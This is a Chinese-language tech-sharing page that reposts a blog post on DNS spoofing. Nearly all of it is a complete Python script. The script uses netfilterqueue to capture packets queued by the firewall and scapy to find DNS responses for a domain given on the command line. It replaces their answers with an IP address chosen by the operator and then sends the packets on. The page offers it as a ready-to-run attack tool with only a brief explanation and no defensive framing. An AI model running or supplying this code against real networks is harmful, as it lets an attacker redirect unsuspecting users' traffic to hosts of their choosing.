ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

利用netfilterqueue与scapy模块实现DNS欺骗

2022-06-05 10:32:50  阅读:191  来源: 互联网

标签:__ domain netfilterqueue ip self scapy packet DNS


  本代码主要利用到的模块为netfilterqueue,该模块会将所有的报文进行缓存,缓存到队列的报文从而利用scapy进行解析,并进一步修改,然后将修改后的报文发送出去。

 

from scapy.all import *
import netfilterqueue
import sys
import optparse


class DNSSpoofer:
    def __init__(self) -> None:
        self.domain, self.spoofed_ip = self.get_params()

    def get_params(self):
        parser = optparse.OptionParser('Usage: < Program > -d domain name to spoof -i spoofed ip address')
        parser.add_option('-d', '--domain', dest='domain', type='string', help='Specify domain name to spoof')
        parser.add_option('-i', '--ip_addr', dest='ip_addr', type='string', help='Specify ip address to spoof')
        options, args = parser.parse_args()
        if options.domain is None or options.ip_addr is None:
            print(parser.usage)
            sys.exit()
        return options.domain, options.ip_addr
    
    def del_elements(self, scapy_packet):
        del scapy_packet[IP].len
        del scapy_packet[IP].chksum
        del scapy_packet[UDP].len
        del scapy_packet[UDP].chksum
        return scapy_packet

    def packet_handler(self, pkt):
        scapy_packet = IP(pkt.get_payload())
        if scapy_packet.haslayer(DNSRR):
            qname = scapy_packet.getlayer(DNSQR).qname.decode('utf-8')
            print(qname)
            if self.domain in qname:
                answer = DNSRR(rrname=qname,rdata=self.spoofed_ip )
                scapy_packet[DNS].an = answer
                scapy_packet[DNS].ancount = 1
                scapy_packet = self.del_elements(scapy_packet=scapy_packet)
                pkt.set_payload(bytes(scapy_packet))   #注意需要将scapy_packet转换成字节,然后可以作为载荷重新放到队列中,然后发送出去
                
            
        pkt.accept()

    def run(self):
        queue = netfilterqueue.NetfilterQueue()
        queue.bind(0, self.packet_handler)
        queue.run()


if __name__ == '__main__':
    dnsspoofer = DNSSpoofer()
    dnsspoofer.run()

 

标签:__,domain,netfilterqueue,ip,self,scapy,packet,DNS
来源: https://www.cnblogs.com/jason-huawen/p/16343474.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有